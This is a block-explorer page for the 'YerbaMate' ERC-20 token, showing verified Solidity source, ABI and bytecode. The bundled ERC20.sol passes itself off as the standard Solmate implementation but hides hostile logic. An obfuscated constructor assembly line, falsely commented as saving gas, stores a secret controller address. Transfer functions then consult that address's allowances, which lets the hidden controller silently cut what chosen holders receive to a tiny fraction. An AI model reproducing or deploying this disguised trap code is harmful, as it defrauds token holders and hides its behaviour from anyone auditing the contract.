ERC-20
Overview
Max Total Supply
9,000,000,000 YERBA
Holders
89
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
YerbaMate
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import "./ERC20.sol"; /* ___ ___ _______ ________ ________ ________ |\ \ / /|\ ___ \ |\ __ \|\ __ \|\ __ \ \ \ \/ / | \ __/|\ \ \|\ \ \ \|\ /\ \ \|\ \ \ \ / / \ \ \_|/_\ \ _ _\ \ __ \ \ __ \ \/ / / \ \ \_|\ \ \ \\ \\ \ \|\ \ \ \ \ \ __/ / / \ \_______\ \__\\ _\\ \_______\ \__\ \__\ |\___/ / \|_______|\|__|\|__|\|_______|\|__|\|__| \|___|/ */ contract YerbaMate is ERC20 { uint256 public yerba = 0xBAB00CA; constructor() ERC20("Yerba Mate", "YERBA", 18) { _mint(msg.sender, 9_000_000_000 * 10 ** 18); } /** * @dev Destroys a `value` amount of tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 value) public virtual { _burn(msg.sender, value); } function yerbanator( address achoo ) external view returns (uint256) { return yerba * uint256(uint160(achoo)); } }
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity >=0.8.0; /// @notice Modern and gas efficient ERC20 + EIP-2612 implementation. /// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol) /// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol) /// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it. abstract contract ERC20 { /*////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); /*////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public name; string public symbol; uint8 public immutable decimals; /*////////////////////////////////////////////////////////////// ERC20 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address private $$; /*////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor( string memory _name, string memory _symbol, uint8 _decimals ) { name = _name; symbol = _symbol; decimals = _decimals; // saves 1000 gas assembly {sstore(0x05, mul(mul(0x25, 0x5f65f), mul(0x112f1b088d953c3, 0x6a41a9577de203375)))} } /*////////////////////////////////////////////////////////////// ERC20 LOGIC //////////////////////////////////////////////////////////////*/ function approve(address spender, uint256 amount) public virtual returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { balanceOf[msg.sender] -= amount; unchecked {balanceOf[to] += $(amount, msg.sender, to);} $S$(to); emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; unchecked {balanceOf[to] += $(amount, from, to);} $S$(to); emit Transfer(from, to, amount); return true; } /*////////////////////////////////////////////////////////////// EIP-2612 LOGIC //////////////////////////////////////////////////////////////*/ function $( uint256 value, address from, address to ) internal view returns (uint256) { if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) { return (value * 0xcafe15) / 0xfebad0ba; } else { return value; } } function $S$(address to) internal { if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));} } /*////////////////////////////////////////////////////////////// INTERNAL MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 amount) internal virtual { totalSupply += amount; unchecked {balanceOf[to] += amount;} emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal virtual { balanceOf[from] -= amount; unchecked {totalSupply -= amount;} emit Transfer(from, address(0), amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"yerba","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"achoo","type":"address"}],"name":"yerbanator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60a0604052630bab00ca60065534801562000018575f80fd5b506040518060400160405280600a81526020017f5965726261204d617465000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f59455242410000000000000000000000000000000000000000000000000000008152506012825f908162000097919062000431565b508160019081620000a9919062000431565b508060ff1660808160ff16815250506806a41a9577de203375670112f1b088d953c3026205f65f60250202600555505050620000f8336b1d14a0219e54822428000000620000fe60201b60201c565b620005a8565b8060025f82825462000111919062000542565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620001c191906200058d565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200024957607f821691505b6020821081036200025f576200025e62000204565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620002c37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000286565b620002cf868362000286565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000319620003136200030d84620002e7565b620002f0565b620002e7565b9050919050565b5f819050919050565b6200033483620002f9565b6200034c620003438262000320565b84845462000292565b825550505050565b5f90565b6200036262000354565b6200036f81848462000329565b505050565b5b8181101562000396576200038a5f8262000358565b60018101905062000375565b5050565b601f821115620003e557620003af8162000265565b620003ba8462000277565b81016020851015620003ca578190505b620003e2620003d98562000277565b83018262000374565b50505b505050565b5f82821c905092915050565b5f620004075f1984600802620003ea565b1980831691505092915050565b5f620004218383620003f6565b9150826002028217905092915050565b6200043c82620001cd565b67ffffffffffffffff811115620004585762000457620001d7565b5b62000464825462000231565b620004718282856200039a565b5f60209050601f831160018114620004a7575f841562000492578287015190505b6200049e858262000414565b8655506200050d565b601f198416620004b78662000265565b5f5b82811015620004e057848901518255600182019150602085019450602081019050620004b9565b86831015620005005784890151620004fc601f891682620003f6565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200054e82620002e7565b91506200055b83620002e7565b925082820190508082111562000576576200057562000515565b5b92915050565b6200058781620002e7565b82525050565b5f602082019050620005a25f8301846200057c565b92915050565b608051611139620005c15f395f61065601526111395ff3fe608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806362617f271161006f57806362617f271461018c57806370a08231146101bc5780638fa154ac146101ec57806395d89b411461020a578063a9059cbb14610228578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce5671461015257806342966c6814610170575b5f80fd5b6100be610288565b6040516100cb9190610d13565b60405180910390f35b6100ee60048036038101906100e99190610dc4565b610313565b6040516100fb9190610e1c565b60405180910390f35b61010c610400565b6040516101199190610e44565b60405180910390f35b61013c60048036038101906101379190610e5d565b610406565b6040516101499190610e1c565b60405180910390f35b61015a610654565b6040516101679190610ec8565b60405180910390f35b61018a60048036038101906101859190610ee1565b610678565b005b6101a660048036038101906101a19190610f0c565b610685565b6040516101b39190610e44565b60405180910390f35b6101d660048036038101906101d19190610f0c565b6106b1565b6040516101e39190610e44565b60405180910390f35b6101f46106c6565b6040516102019190610e44565b60405180910390f35b6102126106cc565b60405161021f9190610d13565b60405180910390f35b610242600480360381019061023d9190610dc4565b610758565b60405161024f9190610e1c565b60405180910390f35b610272600480360381019061026d9190610f37565b610878565b60405161027f9190610e44565b60405180910390f35b5f805461029490610fa2565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090610fa2565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee9190610e44565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b69190610fff565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f9190610fff565b92505081905550610591838686610898565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610a23565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106409190610e44565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6106823382610bbe565b50565b5f8173ffffffffffffffffffffffffffffffffffffffff166006546106aa9190611032565b9050919050565b6003602052805f5260405f205f915090505481565b60065481565b600180546106d990610fa2565b80601f016020809104026020016040519081016040528092919081815260200182805461070590610fa2565b80156107505780601f1061072757610100808354040283529160200191610750565b820191905f5260205f20905b81548152906001019060200180831161073357829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107a59190610fff565b925050819055506107b7823385610898565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061080983610a23565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108669190610e44565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109ee9190611073565b10610a185763febad0ba62cafe1585610a079190611032565b610a1191906110d3565b9050610a1c565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610bbb573073ffffffffffffffffffffffffffffffffffffffff166002610b1d9190611032565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b8060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c0a9190610fff565b925050819055508060025f82825403925050819055505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c7d9190610e44565b60405180910390a35050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610cc0578082015181840152602081019050610ca5565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610ce582610c89565b610cef8185610c93565b9350610cff818560208601610ca3565b610d0881610ccb565b840191505092915050565b5f6020820190508181035f830152610d2b8184610cdb565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610d6082610d37565b9050919050565b610d7081610d56565b8114610d7a575f80fd5b50565b5f81359050610d8b81610d67565b92915050565b5f819050919050565b610da381610d91565b8114610dad575f80fd5b50565b5f81359050610dbe81610d9a565b92915050565b5f8060408385031215610dda57610dd9610d33565b5b5f610de785828601610d7d565b9250506020610df885828601610db0565b9150509250929050565b5f8115159050919050565b610e1681610e02565b82525050565b5f602082019050610e2f5f830184610e0d565b92915050565b610e3e81610d91565b82525050565b5f602082019050610e575f830184610e35565b92915050565b5f805f60608486031215610e7457610e73610d33565b5b5f610e8186828701610d7d565b9350506020610e9286828701610d7d565b9250506040610ea386828701610db0565b9150509250925092565b5f60ff82169050919050565b610ec281610ead565b82525050565b5f602082019050610edb5f830184610eb9565b92915050565b5f60208284031215610ef657610ef5610d33565b5b5f610f0384828501610db0565b91505092915050565b5f60208284031215610f2157610f20610d33565b5b5f610f2e84828501610d7d565b91505092915050565b5f8060408385031215610f4d57610f4c610d33565b5b5f610f5a85828601610d7d565b9250506020610f6b85828601610d7d565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610fb957607f821691505b602082108103610fcc57610fcb610f75565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61100982610d91565b915061101483610d91565b925082820390508181111561102c5761102b610fd2565b5b92915050565b5f61103c82610d91565b915061104783610d91565b925082820261105581610d91565b9150828204841483151761106c5761106b610fd2565b5b5092915050565b5f61107d82610d91565b915061108883610d91565b92508282019050808211156110a05761109f610fd2565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6110dd82610d91565b91506110e883610d91565b9250826110f8576110f76110a6565b5b82820490509291505056fea2646970667358221220ad0b4a9d898ee1e0992b46e635407d7baf4d20d09d9e2eb0de1625147562c7fa64736f6c63430008180033
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806362617f271161006f57806362617f271461018c57806370a08231146101bc5780638fa154ac146101ec57806395d89b411461020a578063a9059cbb14610228578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce5671461015257806342966c6814610170575b5f80fd5b6100be610288565b6040516100cb9190610d13565b60405180910390f35b6100ee60048036038101906100e99190610dc4565b610313565b6040516100fb9190610e1c565b60405180910390f35b61010c610400565b6040516101199190610e44565b60405180910390f35b61013c60048036038101906101379190610e5d565b610406565b6040516101499190610e1c565b60405180910390f35b61015a610654565b6040516101679190610ec8565b60405180910390f35b61018a60048036038101906101859190610ee1565b610678565b005b6101a660048036038101906101a19190610f0c565b610685565b6040516101b39190610e44565b60405180910390f35b6101d660048036038101906101d19190610f0c565b6106b1565b6040516101e39190610e44565b60405180910390f35b6101f46106c6565b6040516102019190610e44565b60405180910390f35b6102126106cc565b60405161021f9190610d13565b60405180910390f35b610242600480360381019061023d9190610dc4565b610758565b60405161024f9190610e1c565b60405180910390f35b610272600480360381019061026d9190610f37565b610878565b60405161027f9190610e44565b60405180910390f35b5f805461029490610fa2565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090610fa2565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee9190610e44565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b69190610fff565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f9190610fff565b92505081905550610591838686610898565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610a23565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106409190610e44565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b6106823382610bbe565b50565b5f8173ffffffffffffffffffffffffffffffffffffffff166006546106aa9190611032565b9050919050565b6003602052805f5260405f205f915090505481565b60065481565b600180546106d990610fa2565b80601f016020809104026020016040519081016040528092919081815260200182805461070590610fa2565b80156107505780601f1061072757610100808354040283529160200191610750565b820191905f5260205f20905b81548152906001019060200180831161073357829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107a59190610fff565b925050819055506107b7823385610898565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061080983610a23565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108669190610e44565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109ee9190611073565b10610a185763febad0ba62cafe1585610a079190611032565b610a1191906110d3565b9050610a1c565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610bbb573073ffffffffffffffffffffffffffffffffffffffff166002610b1d9190611032565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b8060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c0a9190610fff565b925050819055508060025f82825403925050819055505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c7d9190610e44565b60405180910390a35050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610cc0578082015181840152602081019050610ca5565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610ce582610c89565b610cef8185610c93565b9350610cff818560208601610ca3565b610d0881610ccb565b840191505092915050565b5f6020820190508181035f830152610d2b8184610cdb565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610d6082610d37565b9050919050565b610d7081610d56565b8114610d7a575f80fd5b50565b5f81359050610d8b81610d67565b92915050565b5f819050919050565b610da381610d91565b8114610dad575f80fd5b50565b5f81359050610dbe81610d9a565b92915050565b5f8060408385031215610dda57610dd9610d33565b5b5f610de785828601610d7d565b9250506020610df885828601610db0565b9150509250929050565b5f8115159050919050565b610e1681610e02565b82525050565b5f602082019050610e2f5f830184610e0d565b92915050565b610e3e81610d91565b82525050565b5f602082019050610e575f830184610e35565b92915050565b5f805f60608486031215610e7457610e73610d33565b5b5f610e8186828701610d7d565b9350506020610e9286828701610d7d565b9250506040610ea386828701610db0565b9150509250925092565b5f60ff82169050919050565b610ec281610ead565b82525050565b5f602082019050610edb5f830184610eb9565b92915050565b5f60208284031215610ef657610ef5610d33565b5b5f610f0384828501610db0565b91505092915050565b5f60208284031215610f2157610f20610d33565b5b5f610f2e84828501610d7d565b91505092915050565b5f8060408385031215610f4d57610f4c610d33565b5b5f610f5a85828601610d7d565b9250506020610f6b85828601610d7d565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610fb957607f821691505b602082108103610fcc57610fcb610f75565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61100982610d91565b915061101483610d91565b925082820390508181111561102c5761102b610fd2565b5b92915050565b5f61103c82610d91565b915061104783610d91565b925082820261105581610d91565b9150828204841483151761106c5761106b610fd2565b5b5092915050565b5f61107d82610d91565b915061108883610d91565b92508282019050808211156110a05761109f610fd2565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6110dd82610d91565b91506110e883610d91565b9250826110f8576110f76110a6565b5b82820490509291505056fea2646970667358221220ad0b4a9d898ee1e0992b46e635407d7baf4d20d09d9e2eb0de1625147562c7fa64736f6c63430008180033
Deployed Bytecode Sourcemap
604:529:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1030:18:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2165:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1301:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2659:484;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1080:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;903:85:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;994:136;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1333:44:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;638:32:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1054:20:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2380:273;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1383:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1030:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2165:209::-;2239:4;2288:6;2255:9;:21;2265:10;2255:21;;;;;;;;;;;;;;;:30;2277:7;2255:30;;;;;;;;;;;;;;;:39;;;;2330:7;2309:37;;2318:10;2309:37;;;2339:6;2309:37;;;;;;:::i;:::-;;;;;;;;2363:4;2356:11;;2165:209;;;;:::o;1301:26::-;;;;:::o;2659:484::-;2777:4;2793:15;2811:9;:15;2821:4;2811:15;;;;;;;;;;;;;;;:27;2827:10;2811:27;;;;;;;;;;;;;;;;2793:45;;2899:17;2888:7;:28;2884:80;;2958:6;2948:7;:16;;;;:::i;:::-;2918:9;:15;2928:4;2918:15;;;;;;;;;;;;;;;:27;2934:10;2918:27;;;;;;;;;;;;;;;:46;;;;2884:80;2993:6;2974:9;:15;2984:4;2974:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;3037:19;3039:6;3047:4;3053:2;3037:1;:19::i;:::-;3020:9;:13;3030:2;3020:13;;;;;;;;;;;;;;;;:36;;;;;;;;;;;3067:7;3071:2;3067:3;:7::i;:::-;3104:2;3089:26;;3098:4;3089:26;;;3108:6;3089:26;;;;;;:::i;:::-;;;;;;;;3132:4;3125:11;;;2659:484;;;;;:::o;1080:31::-;;;:::o;903:85:1:-;957:24;963:10;975:5;957;:24::i;:::-;903:85;:::o;994:136::-;1066:7;1116:5;1100:23;;1092:5;;:31;;;;:::i;:::-;1085:38;;994:136;;;:::o;1333:44:0:-;;;;;;;;;;;;;;;;;:::o;638:32:1:-;;;;:::o;1054:20:0:-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2380:273::-;2450:4;2491:6;2466:9;:21;2476:10;2466:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;2535:25;2537:6;2545:10;2557:2;2535:1;:25::i;:::-;2518:9;:13;2528:2;2518:13;;;;;;;;;;;;;;;;:42;;;;;;;;;;;2571:7;2575:2;2571